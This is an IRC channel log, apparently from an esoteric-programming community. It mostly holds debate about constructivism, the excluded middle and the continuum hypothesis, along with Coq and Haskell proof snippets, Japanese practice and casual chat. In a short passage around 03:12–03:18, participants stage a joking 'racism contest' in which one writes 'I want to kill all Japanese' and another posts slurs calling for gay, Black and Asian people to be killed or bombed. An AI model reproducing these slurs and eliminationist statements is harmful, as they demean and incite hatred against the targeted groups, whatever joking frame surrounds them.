00:23:55 <dixon> Yeah, but I already think fax is an idiot.
00:24:08 <dixon> Yay! Infinities.
00:24:17 -!- Quadrescence has joined.
00:24:22 <fax> now where did you get THAT idea?
00:25:04 <dixon> Mainly your berating me for not knowing anything 15 minutes after you claimed the exponential function wasn't hypergeometric.
00:25:49 <fax> oh fuck off
00:26:04 <fax> it was long before that
00:26:55 <dixon> Granted being a constructivist and finitist would've just made me think you were a Zeilberger clone, and then I'd have to decide if you were thinking for yourself (in which case you would've been cool) or if you were just a copycat (in which case you would be an idiot).
00:27:23 <dixon> :3
00:27:29 <alise> Perhaps we are using different definitions of constructivist.
00:27:53 <alise> I merely believe that an object must be constructed in some formal language to be proved to exist; or in the case of a proposition, a demonstration of it.
00:27:54 <zzo38> Looking at the page I found a lot of other things and links to pages about quantum mechanics, and so on. I have a lot of my own ideas about quantum mechanics, some of which are different from other ones. (But some ideas are similar, and have been figured out independently by me but other people generally figure it out more in the past, because they are scientists and I'm not)
00:28:03 <alise> So basically I reject the law of the excluded middle and correspondingly ~~p -> p.
00:28:06 <alise> That isn't really so crazy.
00:29:42 <fax> dixon I wasn't berating you for not knowing anything anyway, you were making some ridiculoulsy stretched joke about 'dixons identity'
00:31:54 <zzo38> I also reject the law of excluded middle but only in some contexts. You can use tristate logic with quantum superposition/entanglement and with presuppose (so for some proposition P you could make Pre(P)) and a new kind of imply operator, distinct from the old one (but both of which are used, for different purposes).
00:32:32 <fax> zzo38 have you read any linear logic?
00:32:58 <zzo38> There are then three truth values instead of two values. The standard operators still act in the standard way when dealing with only standard truth values.
00:33:09 <alise> zzo38: I reject the law of the excluded middle because I believe that axioms not in the current system that nevertheless are fine to add are neither true nor false.
00:33:19 <alise> You cannot prove them true, you cannot prove them false; it is fine to add their negation, it is fine to add them.
00:33:38 <alise> So if you could say it is true, then the negation would be inconsistent, and vice-versa, yet this is not the case.
00:33:53 <zzo38> alise: There certainly can be things that are neither true nor false.
00:34:24 <ais523> moral dilemma: I followed a link allegedly to Rick Astley rickrolling someone himself
00:34:29 <ais523> and it was actually what it claimed to be, rather than a rickroll
00:34:34 <pikhq> alise: Is'nt the law of the excluded middle about statements that can be derived from the axiomatic system in question?
00:34:34 <ais523> have I been meta-rickrolled?
00:34:36 <fax> wow I want to see it!
00:34:57 <ais523> http://www.youtube.com/watch?v=y4hqv6USkoU
00:35:02 <alise> pikhq: It says that for any given proposition P, I will tell you that either P is true, or P is not true.
00:35:05 <zzo38> Meta-rickrolled?
00:35:05 <ais523> basically, it was a Thanksgiving Day's parade
00:35:10 <pikhq> alise: Ah.
00:35:12 <pikhq> Okay, then.
00:35:14 <ais523> and he was hiding on one of the floats, and just came out and started singing live
00:35:21 <alise> However, there are things that are neither.
00:35:28 <alise> So the law of the excluded middle is fail.
00:35:52 <pikhq> alise: Tell me one such proposition?
00:36:13 <alise> pikhq: Consider the Continuum Hypothesis.
00:36:16 <ais523> alise: would you say that if X implies Y, and not X implies Y, then Y can be considered to be true?
00:36:18 <alise> ZFC + CH is consistent, as is ZFC + ~CH.
00:36:21 <fax> ais weird lol
00:36:25 <ais523> IMO, that's a weaker situation than the law of the excluded middle
00:36:30 <fax> I don't think it's a rickroll
00:36:34 <zzo38> With tristate logic things can be true, false, or tristate. Pre(P) is true if P is not tristate.
00:36:38 <alise> ais523: p \/ q = (p -> r) -> (q -> r) -> r
00:36:44 <ais523> fax: well, it did /say/ it was a rickroll at the end
00:36:57 <fax> oh
00:36:57 <ais523> perhaps this is some sort of meta-meta-rickroll
00:36:58 <alise> p \/ ~p = (p -> r) -> (~p -> r) -> r
00:37:03 <alise> ais523: Answer: No.
00:37:07 <fax> oh it is a rickroll
00:37:11 <ais523> alise: the law of the excluded middle implies that
00:37:17 <alise> pikhq: So, then, how, in plain ZFC, is CH true or false?
00:37:19 <ais523> but, I think it can be true even without
00:37:24 <alise> ais523: no, p or q is literally the same thing
00:37:28 <alise> as (p->r)->(q->r)->r
00:37:35 <alise> proof:
00:38:02 <alise> \f g porq. case porq of theone x -> f x; theother x -> g x
00:38:02 <alise> and
00:38:05 <alise> erm
00:38:10 <alise> \porq f g. case porq of theone x -> f x; theother x -> g x
00:38:19 <alise> that's p\/q -> (p->r)->(q->r)->r
00:38:23 <alise> now the other way:
00:38:31 <ais523> the other way is the way I care about
00:38:47 <alise> (p->r)->(q->r) -> p \/ q
00:39:07 <alise> \f. f theone theother
00:39:17 <alise> filling in the arguments we get
00:39:22 <alise> first is (p -> p \/ anything)
00:39:22 <ais523> alise: you must have typoed somewhere
00:39:28 <oerjan> alise: you are missing -> r
00:39:28 <alise> second is (q -> anything \/ q)
00:39:34 <alise> right right
00:39:37 <alise> the implementation is right
00:39:38 <alise> so
00:39:42 <alise> fill in p and q for the respective anythings
00:39:44 <alise> and we get p \/ q
00:39:47 <alise> Q.E.D.
00:40:09 <zzo38> If there is no present king of France, the statement "The present king of France has stopped robbing banks" cannot be true or false, because it presupposes that there is a king of France.
00:40:13 <pikhq> alise: Clearly, the veracity of CH is a boolean.
00:40:15 <ais523> hmm, I always get confused trying to follow nonstandard models of logic
00:40:33 <pikhq> That the value of the boolean cannot be determined is beside the point.
00:40:36 <ais523> in one seminar I went to, someone quantified over all systems of logic, which was /really/ confusing
00:40:40 <alise> Prelude> let or2f porq f g = case porq of Left x -> f x; Right x -> g x
00:40:40 <alise> Prelude> let f2or f = f Left Right
00:40:40 <alise> Prelude> :t (or2f, f2or)
00:40:40 <alise> (or2f, f2or)
00:40:40 <alise> :: (Either t t1 -> (t -> t2) -> (t1 -> t2) -> t2,
00:40:41 <alise> ((a -> Either a b) -> (b1 -> Either a1 b1) -> t11) -> t11)
00:40:44 <oerjan> alise: you had an implied forall r in there
00:40:51 <alise> ais523: Since I have proved that (P->Q) and (Q->P), P is equivalent to Q.
00:40:54 <ais523> pikhq: booleans have /nine/ values, 01XLHWZU-
00:40:58 <ais523> alise: ok
00:41:11 <alise> Well, f2or actually needs a more specific type, but.
00:41:20 <ais523> ANY LANGUAGE IN WHICH BOOLEANS HAVE FEWER THAN NINE POSSIBLE VALUES IS DEFICIENT
00:41:23 <pikhq> ais523: Then we are clearly discussing the law of the excluded 10th.
00:41:25 <ais523> btw, I'm not sure which one maps to file_not_found
00:41:28 <ais523> pikhq: haha
00:41:38 <alise> <pikhq> alise: Clearly, the veracity of CH is a boolean.
00:41:39 <alise> Really?
00:41:41 <oerjan> ((p->(p\/q))->(q->(p\/q))->(p\/q)) -> (p\/q)
00:41:43 <ais523> fax: have you decided whether that was a rickroll or not yet?
00:41:59 <alise> pikhq: ZFC + CH is consistent iff ZFC is consistent. ZFC + ~CH is consistent iff ZFC is consistent.
00:42:08 <alise> In ZFC, CH can neither be true nor false.
00:42:18 <alise> If we can prove it true, then ZFC + ~CH would be inconsistent.
00:42:23 <alise> If we can prove it false, then ZFC + CH would be inconsistent.
00:42:25 <pikhq> In ZFC, CH cannot be shown to be true or false.
00:42:28 <ais523> I think I've caused a logical gap in rickrollness
00:42:29 <alise> It is neither true nor false.
00:42:38 <alise> pikhq: But it has some platonic "real truth"?
00:42:49 <alise> That's metaphysical mumbojumbo: you are talking about things in the system that are not from the axioms.
00:42:49 -!- BeholdMyGlory has quit (Remote host closed the connection).
00:42:53 <fax> ais523, I am not really sure
00:43:01 <alise> You are referring to some platonic space of "ZFC truths" but no such thing exists, just manipulation of the axioms.
00:43:06 <alise> Are you sure you want to go down this path>
00:43:10 <ais523> fax: hmm, so you're metaundecided?
00:43:11 <zzo38> Please explain what the nine boolean values 01XLHWZU- are meant for.
00:43:57 <ais523> zzo38: 0 = false, 1 = true, X = both false and true, L = false unless contradicted, H = true unless contradicted, W = somewhere between true and false, Z = no truth value at all, U = as yet unknown, - = irrelevant
00:44:07 <zzo38> OK.
00:44:19 <ais523> VHDL actually implements all these
00:44:21 <fax> yes
00:44:38 <alise> *path?
00:45:05 <pikhq> alise: It certainly has no "platonic real truth". It just simply can be said to be one of true or false.
00:45:35 <alise> pikhq: Okay.
00:45:38 <alise> So suppose it is true.
00:45:44 <alise> Then ZFC + ~CH is inconsistent.
00:45:47 <alise> So suppose it is false.
00:45:50 <alise> Then ZFC + CH is inconsistent.
00:45:58 <alise> But we know that ZFC plus either CH or ~CH is consistent iff ZFC is.
00:46:00 <pikhq> So it cannot be both true and false.
00:46:04 <alise> No.
00:46:06 <alise> It cannot be either.
00:46:12 <alise> Because *both systems are consistent*.
00:46:13 <pikhq> How so?
00:46:14 <alise> (if ZFC is).
00:46:27 <alise> pikhq: OK, let us say that in ZFC, we have proved CH.
00:46:34 <zzo38> I didn't know VHDL implements those. But I suppose it is possible.
00:46:41 <alise> We know that ZFC + ~CH is consistent iff ZFC is. Yet we have CH and ~CH.
00:46:54 <alise> Reverse it to see that it cannot be false, either.
00:47:06 <alise> You can keep running around in circles, but the only real solution is to reject the excluded middle.
00:47:26 <pikhq> alise: "We know that ZFC + ~CH is consistent iff ZFC is. Yet we have CH and ~CH." Uh... Wha?
00:47:38 <alise> OK, let me spell it out for you.
00:47:52 <pikhq> Near as I can tell, "proving CH in ZFC" would imply that ZFC + ~CH is inconsistent.
00:48:23 <pikhq> And assuming the proof that ZFC + ~CH is consistent is valid, then clearly you cannot prove CH in ZFC.
00:48:54 <dixon> and if you did both, then it would show ZFC is not consistent.
00:49:03 <pikhq> dixon: Yes.
00:49:03 <dixon> because that's a contradiction
00:49:15 <alise> pikhq:
00:49:16 <alise> By the law of the excluded middle, we know that in ZFC, either CH is true or ~CH is true. I will demonstrate that it cannot be either.
00:49:18 <alise> Let us assume that CH is true. It has been proved at the meta-level that ZFC + ~CH is consistent iff ZFC is. Since we are working in ZFC, we assume its consistency. But then ZFC + ~CH cannot be consistent, for we have CH and ~CH. But ZFC + ~CH has been proved to be consistent. Contradiction; CH cannot be true.
00:49:18 <alise> Let us assume that CH is false. It has been proved at the meta-level that ZFC + CH is consistent iff ZFC is. Since we are working in ZFC, we assume its consistency. But then ZFC + CH cannot be consistent, for we have CH and ~CH. But ZFC + CH has been proved to be consistent. Contradiction; CH cannot be false.
00:49:25 <alise> Therefore, CH cannot be true and it cannot be false.
00:49:44 <pikhq> alise: You have proven that CH cannot be proven in ZFC.
00:49:44 <alise> Although we cannot use this to disprove excluded middle from inside ZFC, because it is a meta issue, it is still present.
00:49:48 <alise> Excluded middle is false.
00:49:53 <alise> pikhq: No, I made no references to proofs in the above.
00:49:57 <pikhq> Clearly it can be one or the other; you can use it as an axiom.
00:50:01 <alise> The law of the excluded middle means that ONE must be true.
00:50:19 -!- Quadrescence has quit (Read error: Connection reset by peer).
00:50:21 -!- Quadresce` has joined.
00:50:44 -!- Quadresce` has changed nick to Quadrescence.
00:51:25 <dixon> And you use ZFC's consistency as an axiom. Again, if you prove ZFC + ~CH and ZFC + CH iff ZFC is consistent, it means ZFC is not consistent. Hello mathematical logic.
00:51:39 <zzo38> Is "false unless contradicted" in a digital circuit like a pull-down resistor?
00:52:01 <pikhq> alise: Fine. I shall start using a form of limited law of excluded middle. "Any proposition which can be reasoned about in an axiomatic system must be either true or false in that axiomatic system."
00:52:05 <pikhq> :P
00:54:00 <Sgeo_> If ~CH in ZFC, how do you get CH?
00:54:05 <Sgeo_> erm
00:54:23 <Sgeo_> n/m, I agree with pikhq
00:54:53 <alise> Well, this has taught me something: Never bother trying to talk about excluded middle.
00:55:03 <alise> People are absolutely sure it is true at any cost.
00:55:52 <pikhq> People don't like the implication that you could define the following: ZFC + CH & ~CH. :P
00:57:53 <dixon> Without realizing that proving both at the same time shows ZFC's inconsistency.
01:02:26 <zzo38> Off topic: Have you ever invented any spell/power for D&D game?
01:02:39 -!- FireFly has quit (Quit: Leaving).
01:03:08 <alise> dixon: Of course it does.
01:04:24 <dixon> Then it says nothing about CH...
01:04:49 <dixon> And your whole law of the excluded middle being false idea is inane with that example.
01:05:19 <oklopol> "alise: For one, you can have RAM with so much error checking that it is physically impossible for it not to detect an error for the computation you are doing..." <<< may i see this article
01:06:26 <alise> oklopol: wut
01:06:43 <alise> imagine filling the entire universe with one 16 bit pattern, say
01:07:04 <alise> I'd be highly surprised if it was physically possible for all those bits to spontaneously flip in the certain maximum time it takes to do a given computation
01:08:27 <oklopol> 1. you would probably be pretty surprised if you suddenly turned into an elephant, too, that's not what physically impossible means
01:08:30 <oklopol> 2. oh, you linked it
01:09:36 <alise> well i guess i could start enumerating every single way a bit could be flipped :)))
01:14:48 <oklopol> it's pretty stupid to claim computers can't make errors
01:14:50 <zzo38> It is difficult to repair a watch while falling from an airplane.
01:15:09 <oklopol> of course they can make errors
01:15:35 <oklopol> some unicorns can turn bits with their tongues from miles away
01:15:39 <alise> I never claimed that
01:15:58 <oklopol> but if you thought that was true, you might
01:16:09 <oklopol> can't really unclaim that one huh
01:16:13 <oklopol> i should go to sleep
01:17:37 <zzo38> I recently added something to esolang wiki
01:22:29 -!- zzo38 has quit (Quit: ERR_QUIT).
02:33:02 <oklopol> err bye
02:34:38 <fax> bye
02:34:47 <fax> wait what
02:35:16 <oklopol> 02:22… zzo38 has quit IRC (Quit: ERR_QUIT)
02:35:16 <oklopol> 04:32… oklopol: err bye
02:35:34 <oklopol> it was all sorts of funny stuff
02:35:57 <oklopol> but i actually am going to sleep now ->
02:36:36 <fax> oklopol :)
02:36:49 <fax> I have an idea about this OR thing
02:36:55 <fax> but it's probably wrong
02:36:59 <fax> I'll try it out tommorow
02:37:23 -!- oerjan has quit (Quit: Tomorrow OR not tomorrow, that's the question).
02:46:49 <alise> [["Anime is a prime example of why two nukes wasnt enough." - NH Democrat State Rep., Nick Levasseur]]
02:46:51 <alise> Oh, America.
02:47:37 * Sgeo_ .. doesn't like nor dislike anime
02:47:57 <alise> That's rather orthogonal to the hilarious extremity of bad taste found in that quote :P
02:47:58 <Sgeo_> It's just another medium, albeit one for which there's a .. website that lets me watch for free
02:57:27 <pikhq> It's just another medium, albeit one which is generally made in a language that I happen to be studying. :P
02:58:22 <dixon> ANATA WA BAKA DESU ZO
02:58:47 <alise> dixon: you violated the syntax anime := desu | anime anime
02:58:51 <pikhq> dixon: That's quite formal of you.
02:58:54 <alise> do not pass go do not collect 200 pounds
02:59:25 <dixon> Why would I collect pounds? I'm an American, we're fat enough.
02:59:41 <dixon> pikhq: thanx.
02:59:44 <pikhq> Try something more like 馬鹿ぜ、あんた!(baka ze, anta
02:59:46 <pikhq> )
03:00:18 <dixon> Really? I was going for the "You sir, are an idiot!" meme.
03:00:49 <pikhq> Oh, *that's* what you were going for?
03:01:47 <dixon> My Japanese is flaky, but yes.
03:02:58 -!- adu has joined.
03:03:04 <alise> pikhq: Please translate this to exquisitely formal Japanese: "Your asshole is a skyscraper-sized orifice which receives bread daily, fuckwit."
03:03:26 <alise> Someone has to have translated that already, it being such a common insult.
03:03:30 <alise> Is that even an insult? I can't tell.
03:03:40 <Sgeo_> SL?
03:04:16 <dixon> Whoa, he gets free bread?
03:04:20 <pikhq> Try more of Pikhqどのはお馬鹿で御座るとお思いになります。(Pikhq dono wa baka de gozaru to o-omoi ni narimasu)
03:04:27 <pikhq> ... I *think*. My keigo sucks.
03:04:47 <alise> dixon: NO COST AT ALL
03:05:08 <Sgeo_> alise, is that a quote from SL?
03:05:15 <alise> Sgeo_: Schawhat?
03:05:18 <alise> Have you heard it before or something? XD
03:05:35 <Sgeo_> No, but it sounds like the sort of thing a certain character might say
03:05:42 <pikhq> alise: Sadly, I know not the vocab for that.
03:05:48 <Sgeo_> I'm not saying the full name of it in the presence of a minor
03:05:53 <pikhq> alise: I shall let you know when I can translate that, though.
03:06:04 <alise> Sgeo_: Does it have RUDE WORDS in it????
03:06:12 <Sgeo_> It has naked people and sex in it
03:06:17 <alise> OH NOOOOOOOOOOOOOOOO
03:06:42 <alise> My beacon-of-light emitting orifices will all be brutally penetrated by its hostile influence of filth and putridness, such that I may never lay claim to someone of sound mind again.
03:06:48 <alise> Anyway, since when do I have Second Life installed?
03:06:56 <Sgeo_> alise, SL != Second Life in this case
03:07:12 <alise> Oh, that webcomic.
03:07:17 <Sgeo_> Yes >.>
03:08:47 <alise> pikhq: Okay, translate this too when you can: "My beacon-of-light emitting orifices will all be brutally penetrated by its hostile influence of filth and putridness, such that I may never lay claim to someone of sound mind again." :P
03:08:58 <alise> Again, FORMAL AND POLITE!
03:09:45 <pikhq> alise: "Fuck You".
03:09:57 <alise> "No"
03:12:50 <pikhq> Fine, I'll give you a shockingly rude statement instead. 私は日本人達を殺したい。なぜ?アジア人が大嫌い!
03:13:41 <pikhq> That is probably the most racist thing I have ever typed, in jest or otherwise.
03:13:58 <Sgeo_> Translate it! Translate IT!
03:14:35 <pikhq> "I want to kill all Japanese. Why? I hate Asians!" Now, alise. Say it to every Japanese person you meet. :P
03:15:08 <pikhq> (watashi wa nihonjintachi wo korositai. naze? ajiajin ga daikirai!), BTW
03:15:50 <alise> Fags should die, naturally: we should have killed them all at the start. But niggers, niggers are the worst. We should relegate all the niggers to their own country so we can bomb the place. Put the asians there too, the fucking worthless pieces of shit. But the only thing worse than a nigger is a nigger fag.
03:15:56 <alise> RACISM CONTEST
03:16:22 <pikhq> "Nigger" is untranslatable.
03:16:33 <alise> >:|
03:16:40 <alise> why not, do all japs love nigs or sth
03:16:54 <pikhq> It is a term that literally only exists in English.
03:17:25 <pikhq> The closest you can get in Japanese is "gaijin". Which... Refers to everyone other than Japanese.
03:17:42 <Sgeo_> I have a friend who ran in a marathon!
03:18:05 <alise> Is he a nigger?!
03:19:46 <Sgeo_> "Rincewind had always been happy to think of himself as a racist. The One Hundred Meters, the Mile, the Marathon -- he'd run them all."
03:20:01 <fax> hehe
03:20:04 <fax> I GET IT!!
03:20:05 <alise> groan
03:25:47 <adu> pikhq: 君は日本人ですか?
03:26:17 <pikhq> adu: いいえ。僕は日本語を勉強する人です。
03:27:10 <adu> pikhq: あ、わかた
03:28:12 <pikhq> 今漢字を勉強してます。1810字を知って、232字を勉強するつもりです。
03:28:31 <pikhq> ちょっと難しいです。でも、面白いと思います。
03:28:52 <adu> pikhq: 僕も日本人が大嫌い
03:29:20 <pikhq> なるほど。w
03:29:45 <adu> ぜんぜん
03:30:17 <adu> jk
03:30:39 <pikhq> 分かった。^_^
03:31:57 <adu> 僕は6年かん日本にすんでいました。
03:32:43 <pikhq> わ〜。
03:33:07 <adu> でも、たくさんわすれた
03:33:40 <alise> desu
03:33:45 <fax> desuuuuu
03:33:51 <adu> lol
03:34:06 <pikhq> 4年間高校で日本語を勉強しました。この後、2年間勉強しなくて、いまもっと勉強を始めてます。
03:34:27 <pikhq> s/いま/今/
03:35:34 <adu> そですか?すごい!がんばってね
03:36:07 <pikhq> どうもありがとうございます。
03:36:14 <adu> lol i've never seen sed and japanese used together
03:36:23 <pikhq> w
03:37:15 <adu> どもありがと Mr. ロボト
03:37:36 <adu> :)
03:37:42 <pikhq> w
03:41:07 <pikhq> aduさんがなぜ日本に住んでいましたかな。
03:42:03 <adu> ぶくも, but i've been away for 10 years, so i've forgotten so much
03:42:14 <alise> I'm going to bed now.
03:42:21 <alise> Cheerio, fellows. See you tomorrow.
03:42:22 <adu> alise: night
03:42:25 -!- alise has quit (Quit: Leaving).
03:43:21 <pikhq> 日本語で、「僕も、でも10年間住まなくて、たくさん忘れた」と思います。
03:44:16 <adu> sounds about right
03:47:12 <adu> 僕の日本語は悪いです。
03:50:20 <pikhq> なるほど。
03:50:56 <pikhq> 勉強するつもりじゃないんですか。
03:53:22 <adu> 勉強したくない
03:55:04 <pikhq> 残念ですね。
04:01:45 -!- ais523 has set topic: this topic is incorrect today but will be correct tomorrow | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
04:01:50 -!- fax has quit (Quit: Lost terminal).
04:03:41 * Sgeo_ brainmelts
04:22:15 -!- MizardX has quit (Ping timeout: 276 seconds).
04:46:18 <uorygl> It's incorrect and will remain incorrect forever.
04:46:40 <Sgeo_> So will 1+1=2
04:46:42 <Sgeo_> erm, 3
04:53:27 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
05:29:53 -!- jcp has joined.
05:39:30 -!- adu has quit (Quit: adu).
05:53:08 -!- Oranjer has left (?).
06:55:55 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
07:04:12 -!- coppro has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:57:45 -!- lifthrasiir has quit (Ping timeout: 258 seconds).
08:59:03 -!- lifthrasiir has joined.
09:04:07 -!- lifthrasiir has quit (Ping timeout: 268 seconds).
09:51:13 -!- ais523 has quit.
10:04:09 -!- Quadrescence has quit (Remote host closed the connection).
10:05:16 <AnMaster> what?
10:05:30 <AnMaster> me looks up at the non-latin script
10:05:32 <AnMaster> err
10:05:33 * AnMaster looks up at the non-latin script
10:05:49 <dixon> Unicode++
10:06:13 <AnMaster> <alise> groan <-- you don't like Discworld books then I assume?
10:06:22 <AnMaster> ah wait he isn't here atm
10:06:44 <AnMaster> dixon, sure, but not for it's own sake
10:07:08 <AnMaster> it is very nice when you actually have a reason to use it though
10:08:17 * AnMaster really should try to figure out why mapping pi onto compose p i didn't work out
10:09:02 <dixon> wat
10:12:24 -!- adam_d has joined.
10:17:06 -!- BeholdMyGlory has joined.
10:31:40 <AnMaster> dixon, you know the compose key?
10:32:12 <dixon> I don't have such a fancy thing.
10:32:41 <AnMaster> well usually you need to enable it in some settings
10:32:51 <AnMaster> also I never seen it on non-*nix systems
10:34:09 <AnMaster> dixon, it allows you to press that key you made your compose key then press two other keys
10:34:12 <AnMaster> to write some letter
10:34:29 <AnMaster> like µ (compose m u)
10:34:41 <AnMaster> (though that specific one is also on altgr-m for me)
10:34:51 <dixon> Yes, I know. I'm running *nix, I just don't use it.
10:35:04 <AnMaster> ah right
10:35:17 -!- FireFly has joined.
10:35:28 <AnMaster> dixon, thing is I want compose p i to give me the unicode pi
10:35:45 <AnMaster> and well, for some reason something is ignoring my config file for it
10:35:50 <dixon> weird
10:35:59 <dixon> need to restart X or something?
10:36:11 <AnMaster> dixon, done that since when I added the file
10:36:30 <AnMaster> but yeah ~/.XCompose doesn't seem to be used, though docs indicate it should work
10:37:33 <dixon> leave it up to the X people to not update their docs
10:37:53 <AnMaster> dixon, oh? you found something indicating it works differently nowdays?
10:38:08 <AnMaster> dixon, the weird thing is that it worked for someone else in here (forgot who)
10:38:53 <dixon> Naw, I have no idea why it doesn't work. :\
10:39:16 <dixon> but there is a chance that the docs aren't up to date
10:39:54 -!- oerjan has joined.
10:40:44 <AnMaster> true
10:41:39 <oerjan> lies!
10:42:05 <dixon> http://www.mail-archive.com/vague@list.uvm.edu/msg03505.html
10:42:15 <dixon> dunno if that helps
10:45:58 -!- Phantom_Hoover has joined.
10:46:08 <Phantom_Hoover> http://aturingmachine.com/
10:46:10 <Phantom_Hoover> I want one.
10:46:56 <dixon> That's just dumb.
10:47:08 <Phantom_Hoover> But it's cool.
10:47:10 <dixon> It's obvious the tape isn't infinitely long.
10:47:13 <dixon> What a piece of shit.
10:47:21 <Phantom_Hoover> Yes, but it's still cool.
10:47:45 <Phantom_Hoover> And there are around 1000 feet of tape, so it's practically infinite.
10:48:18 <Phantom_Hoover> I.e. if you wanted to do any calculations involving more cells than that you'd really just use a computer.
10:49:16 <dixon> Glad to hear you think 1000 feet is "practically infinite"
10:49:26 <Phantom_Hoover> Read my second post.
10:49:32 <dixon> Means my penis is up there on the list.
10:49:44 <Phantom_Hoover> And by that logic, normal computers are dumb.
10:49:52 <Phantom_Hoover> After all, they have finite memory.
10:50:02 -!- Phantom_Hoover has quit (Client Quit).
10:50:53 <dixon> There difference between a math student and a computer science student is a sense of humor.
10:50:56 <dixon> -re
11:10:09 -!- tombom has joined.
11:24:53 -!- fax has joined.
11:33:45 -!- Phantom_Hoover has joined.
11:50:11 -!- adam_d has quit (Ping timeout: 260 seconds).
12:19:06 -!- oerjan has quit (Quit: leaving).
13:13:50 -!- fax has quit (Quit: Lost terminal).
13:14:20 <oklopol> which one has a sense of humor?
13:15:47 <oklopol> i'm both and i both do and don't have a sense of humor, i think
13:16:07 <oklopol> so in either case, you might be right
13:21:41 <Phantom_Hoover> oklopol: Your sense of humour must be quantum.
13:21:47 -!- cheater2 has joined.
13:22:15 <Phantom_Hoover> I still maintain the Turing machine was cool, though.
13:23:19 -!- cheater has quit (Ping timeout: 276 seconds).
13:27:40 <oklopol> it was totally awesome
13:28:06 <oklopol> but it has a bit too much technology in it to be absolutely superawesome
13:28:08 <Phantom_Hoover> Unfortunately, my life is now going to be unfulfilled until I acquire or build one.
13:49:32 -!- Phantom_Hoover has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838]).
13:52:43 -!- alise has joined.
13:54:02 <alise> /r/programming is fucking useless; the idiot Ted Dziuba taking the first spot.
13:54:37 <alise> 02:06:44 <AnMaster> dixon, sure, but not for it's own sake
13:54:43 <alise> What, the Japanese or the what?
13:54:47 <alise> My stuff maybe?
13:54:47 <Deewiant> I upvoted it for generating discussion, whether or not it's sensible.
13:55:30 <alise> 02:36:30 <AnMaster> but yeah ~/.XCompose doesn't seem to be used, though docs indicate it should work
13:55:33 <alise> you need to do stuff
13:55:52 <alise> Deewiant: Discussion of the most trivial, boring stuff - the kind Dziuba usually generates.
13:56:18 <alise> Professional social network manipulator by way of simply being a gigantic asshole with stupid opinions. Hey, sounds like me, apart from the social network part.
13:56:43 <alise> 02:47:10 <dixon> It's obvious the tape isn't infinitely long.
13:56:43 <alise> 02:47:13 <dixon> What a piece of shit.
13:56:54 <alise> You fail; only some Turing machines have infinite tape.
13:58:09 <alise> Coq is awesome
14:01:50 <Slereah> alise : Lies
14:01:55 <Slereah> Turing machines have infinite tapes
14:02:02 <Slereah> Otherwise, they would not be Turing machines!
14:04:30 <alise> Hmm, but there are non-universal turing machines, no?
14:04:35 <alise> I guess maybe they have infinite tape anyway.
14:10:42 <oklopol> of course there are non-universal turing machines
14:10:53 <oklopol> for instance the empty turing machine is pretty non-universal
14:11:00 <oklopol> :PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
14:13:02 -!- MigoMipo has joined.
14:14:01 <alise> :PPPPPPPPPPPP
14:24:53 -!- Guest39936 has joined.
14:26:11 -!- Guest39936 has left (?).
14:36:20 <alise> Global tuple space!
14:37:08 <oklopol> i used to love that crazy thing
14:38:28 <alise> what thing
14:38:41 <alise> global tuple space?
14:39:30 <oklopol> yes
14:40:18 <alise> seems a bit too ... unesoteric for you, i mean in your fun definition of esoteric
14:40:21 <alise> but why don't you love it any more
14:40:37 <alise> K has a global tuplespace... it's hot
14:40:46 <oklopol> i haven't touched one in ages
14:41:01 <oklopol> love fades fast as they say
14:41:16 <alise> wat
14:42:11 <oklopol> wat wat
14:42:32 <alise> i mean i'm just imagining like... one gigantic trie/graph/thing
14:42:32 <alise> and that is everything
14:42:40 <alise> wat
14:43:30 <oklopol> wat wat wat
14:44:26 <alise> oko
14:54:28 -!- alise_ has joined.
14:57:07 -!- alise has quit (Ping timeout: 258 seconds).
15:02:37 -!- MizardX has joined.
15:24:44 <alise_> the thing with coq is
15:24:48 <alise_> sometimes I end up with
15:24:49 <alise_> H : 1 = 0
15:24:50 <alise_> ============================
15:24:50 <alise_> False
15:25:00 <alise_> and I'm not entirely sure how it wants me to prove that 1 = 0 is impossible...
15:30:25 <alise_> Today on "ridiculously trivial proofs": There exists a natural n such that S (pred n) <> n (because pred 0 = 0 in Coq).
15:30:27 <alise_> http://pastie.org/892089.txt?key=mjqv5f7o9cbvwfvjih18a
15:30:33 <alise_> Tactics used:
15:30:35 <alise_> apply ex_intro with 0.
15:30:35 <alise_> compute in |- *.
15:30:35 <alise_> intros H.
15:30:35 <alise_> auto.
15:30:35 <alise_> congruence.
15:31:20 <alise_> Really it's a disproof of 1 = 0.
15:31:28 <alise_> Because I just plugged in the value then told it to shut up and compute S (pred n) and n. :)
15:33:47 <alise_> Actually I don't think auto did anything there...
15:36:14 <alise_> Yeah, I could have produced that with just:
15:36:16 <alise_> apply ex_intro with 0.
15:36:18 <alise_> congruence.
15:37:54 <alise_> If I used discriminate instead of the more advanced congruence, I'd get:
15:38:11 <alise_> http://pastie.org/892094.txt?key=sygsuuuwz1tnauvsksvw5q
15:38:21 <alise_> Which is simpler.
15:38:31 <alise_> (That's from apply ex_intro with 0. compute. intros H. discriminate.)
15:38:55 <alise_> Which can also be produced with:
15:38:58 <alise_> apply ex_intro with 0.
15:38:59 <alise_> discriminate.
15:39:04 <alise_> So that's the shortest, simplest proof.
15:44:26 <oklopol> ooh, coqolf
15:45:15 <alise_> Now I'm trying to prove (~ exists n, forall m, n >= m); it's surprisingly difficult.
15:45:52 <oklopol> for exists, you need a specific counterexample, so take succ n, then just use succ n > n for all n
15:45:55 <oklopol> how can that be hard?
15:46:02 <oklopol> i should learn cow
15:46:04 <oklopol> *coq
15:46:08 <alise_> well of course it is easy, it's just expressing it in the tactics engine
15:46:11 <oklopol> *example
15:46:12 <alise_> without really knowing what tactics to use...
15:46:20 <alise_> I could do it as a lambda expression, probably, with equality induction
15:46:24 <alise_> but it'll be shorter as tactics
15:46:31 <alise_> and lambda expression proofs get unwieldy fast, they're like bytecode
15:46:44 <alise_> currently I'm up to:
15:46:47 <alise_> H : forall m : nat, 0 >= m
15:46:48 <oklopol> right i don't know anything about tactics. well except that they can magically do things for you
15:46:48 <alise_> ============================
15:46:49 <alise_> False
15:46:50 <alise_> nobiggest < apply (H 1).
15:46:50 <alise_> Toplevel input, characters 0-11:
15:46:51 <alise_> > apply (H 1).
15:46:53 <alise_> > ^^^^^^^^^^^
